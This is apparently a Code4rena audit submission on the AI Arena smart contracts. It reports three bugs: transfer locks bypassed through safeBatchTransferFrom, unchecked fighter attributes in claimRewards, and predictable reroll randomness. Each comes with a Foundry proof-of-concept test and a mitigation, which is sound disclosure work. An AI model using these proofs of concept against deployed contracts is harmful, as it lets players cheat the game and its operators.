AI Arena - 0xWallSecurity's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303

Vulnerability details

Impact

The GameItems::safeTransferFrom function inherited from ERC-1155 has been enhanced to check, whether a given game item is transferable. This is an owner-functionality to disable transfering game items when needed. Although the players cannot use safeTransferFrom to send items whose transferability is disabled, they can still use the inherited ERC1155::safeBatchTransferFrom, which is missing the corresponding check, thus bypassing the restrictions set by the owner.

Proof of Concept

Add the following PoC to the GameItems.t.sol file and run the test with forge test --mt testUserCanSendNonTransferableNFTByUsingERC1155safeBatchTransferFrom -vvvvv

    address tester = makeAddr("tester");
    address testerTwo = makeAddr("testerTwo");
    function testUserCanSendNonTransferableNFTByUsingERC1155safeBatchTransferFrom() external {
        _fundUserWith4kNeuronByTreasury(tester);
        vm.prank(_ownerAddress);
        _gameItemsContract.adjustTransferability(0, false);
        vm.startPrank(tester);
        _gameItemsContract.mint(0, 1);
        assertEq(_gameItemsContract.balanceOf(tester, 0), 1);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(tester, testerTwo, 0, 1, "");

        assertEq(_gameItemsContract.balanceOf(tester, 0), 1);
        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        ids[0] = 0;
        amounts[0] = 1;

        _gameItemsContract.safeBatchTransferFrom(tester, testerTwo, ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(tester, 0), 0);
        assertEq(_gameItemsContract.balanceOf(testerTwo, 0), 1);
    }

As expected, the safeTransferFrom reverts, while the safeBatchTransferFrom does not and the game item is transfered.

Tools Used

• Foundry
• Manual Inspection

Recommended Mitigation Steps

Override and add the check on transferability to the safeBatchTransferFrom function in the same way it was done to safeTransferFrom.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L158 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L321-L330 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L503-L505

Vulnerability details

Impact

Users calling the MergingPool::claimRewards function to claim their rewards can pass an uint256[2][] array specifying the [element, weight] of the to-be-claimed reward. This array is passed to FighterFarm::mintFromMergingPool, which is then passed to FighterFarm::_createNewFighter. Neither of those function actually check, that the values of element are within [0,2] or weight in [65,95], as long as the element value is not 100. This would create a pseudo-random fighter. This results in players being able to create fighters with arbitrary element and weight, impacting the element-calculation and weight-calculation offChain and likely battle results.

Proof of Concept

Add the following code to the MergingPool.t.sol file and run forge test --mt testAuditTestClaimRewardCreatesFighterWithUnexpectedAttributes -vvvvv:

    function testAuditTestClaimRewardCreatesFighterWithUnexpectedAttributes() external {
        // copied from test `MergingPool.t.sol::testClaimRewardsForWinnersOfMultipleRoundIds`
        address tester = makeAddr("tester");
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        _mintFromMergingPool(tester);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // tokenId 0
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS); // tokenId 1
        assertEq(_fighterFarmContract.ownerOf(2), tester); // tokenId 2
        uint256[] memory _winners = new uint256[](2); // creates 2 fighters with tokenId 3 and 4
        _winners[0] = 0;
        _winners[1] = 2;
        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == tester, true);
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1); // is element of [0,2]
        _customAttributes[0][1] = uint256(80); // is element of [65,95]
        // winners of roundId 0 are picked
        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes); // tokenId 3
        // other winner claims rewards for previous roundIds
        _customAttributes[0][0] = uint256(5); // NOT in [0,2] -> should fail, since this corresponds to an unknown element
        _customAttributes[0][1] = uint256(200); // NOT in [65,95] -> should fail, since this corresponds to an unknown weight
        vm.prank(tester);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(tester); // tokenId 4
        emit log_uint(numRewards);
        assertEq(numRewards, 0);

        // check the received fighters attributes
        (address expectedOwner,,uint256 expectedWeight, uint256 expectedElement,,,) = _fighterFarmContract.getAllFighterInfo(4);
        assertEq(expectedOwner, tester);
        assertEq(expectedElement, _customAttributes[0][0]);
        assertEq(expectedWeight, _customAttributes[0][1]);
    }

Tools Used

• Foundry
• Manual Inspection

Recommended Mitigation Steps

Add boundary checks to the FighterFarm::_createNewFighter function, if the user should be able to create arbitrary fighters. Otherwise, use a static [100,100] array in MergingPool::claimRewards for the customAttributes to mint pseudo-random fighters to the winners.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L379-L380

Vulnerability details

Impact

The FighterFarm::reRoll function is using weak randomness to calculate an NFTs attributes (element, weight and physical attributes). The resulting NFTs attributes (all rolls) can be calculated prior rerolling, disincentivizing a player from actually rerolling. Furthermore, players might be looking for other players to trade their fighters, if their intended fighters attributes are withing one reroll, greatly reducing the amount of NRN players spend on rerolling their NFTs.

Proof of Concept

The following line determines a fighters dna:

uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));

The calculated dna is based on the address of the owner (which does not change assuming it was not transfered, but even then the address is known and not random), the tokenId, which never changes and the reroll number. Of all these values, the numRerolls is the only value changing based on the number rerolls used (can assume values [0,2], which is incremented before the reroll to [1,3]). The abi.encode and keccak256 functions do not provide any randomness. The fighters element and weight are then computed in FighterFarm::_createFighterBase:

uint256 element = dna % numElements[generation[fighterType]]; uint256 weight = dna % 31 + 65;

Both functions use simple modulo %.

Thus, the resulting attributes can be determined before actually rerolling a fighter. The fighters physical attributes are calculated in a similar way in AiArenaHelper::createPhysicalAttributes.

The following PoC showcases the pre-determined attributes before a reroll and then rerolling to confirm the calculation. Add the following code to FighterFarm.t.sol:

    address tester = makeAddr("tester");
    function testAuditRerollIsNotRandom() external {
        // setup
        _fundUserWith4kNeuronByTreasury(tester);
        _mintFromMergingPool(tester);
        _neuronContract.addSpender(address(_fighterFarmContract));

        // calculate new NFT attributes

        // 1st reroll
        vm.startPrank(tester);
        uint8 tokenId = 0;
        uint8 numRerolls = 1; // is incremented before dna computation
        uint8 fighterType = 0;
        uint256 expectedDna = uint256(keccak256(abi.encode(tester, tokenId, numRerolls)));
        uint256 expectedElement = expectedDna % _fighterFarmContract.numElements(_fighterFarmContract.generation(fighterType));
        uint256 expectedWeight = expectedDna % 31 + 65;
        _fighterFarmContract.reRoll(tokenId, fighterType);
        (,,uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
        console.log("=== reroll === ", numRerolls);
        console.log("expectedElement: ", expectedElement);
        console.log("actual element: ", element);
        console.log("expectedWeight: ", expectedWeight);
        console.log("actual weight: ", weight);
        assertEq(element, expectedElement);
        assertEq(weight, expectedWeight);

        // 2nd reroll
        tokenId = 0;
        numRerolls += 1; // is incremented before dna computation
        fighterType = 0;
        expectedDna = uint256(keccak256(abi.encode(tester, tokenId, numRerolls)));
        expectedElement = expectedDna % _fighterFarmContract.numElements(_fighterFarmContract.generation(fighterType));
        expectedWeight = expectedDna % 31 + 65;
        _fighterFarmContract.reRoll(tokenId, fighterType);
        (,,weight, element,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
        console.log("=== reroll === ", numRerolls);
        console.log("expectedElement: ", expectedElement);
        console.log("actual element: ", element);
        console.log("expectedWeight: ", expectedWeight);
        console.log("actual weight: ", weight);
        assertEq(element, expectedElement);
        assertEq(weight, expectedWeight);

        // 3rd reroll
        tokenId = 0;
        numRerolls += 1; // is incremented before dna computation
        fighterType = 0;
        expectedDna = uint256(keccak256(abi.encode(tester, tokenId, numRerolls)));
        expectedElement = expectedDna % _fighterFarmContract.numElements(_fighterFarmContract.generation(fighterType));
        expectedWeight = expectedDna % 31 + 65;
        _fighterFarmContract.reRoll(tokenId, fighterType);
        (,,weight, element,,,) = _fighterFarmContract.getAllFighterInfo(tokenId);
        console.log("=== reroll === ", numRerolls);
        console.log("expectedElement: ", expectedElement);
        console.log("actual element: ", element);
        console.log("expectedWeight: ", expectedWeight);
        console.log("actual weight: ", weight);
        assertEq(element, expectedElement);
        assertEq(weight, expectedWeight);
    }

Tools Used

• Foundry
• Manual Inspection

Recommended Mitigation Steps

Implement the randomness of the attributes of a reroll offChain or use chainlink VRF or similar. Alternatively, increase the price of a reroll and allow players to choose the desired attributes themselves.

Assessed type

Other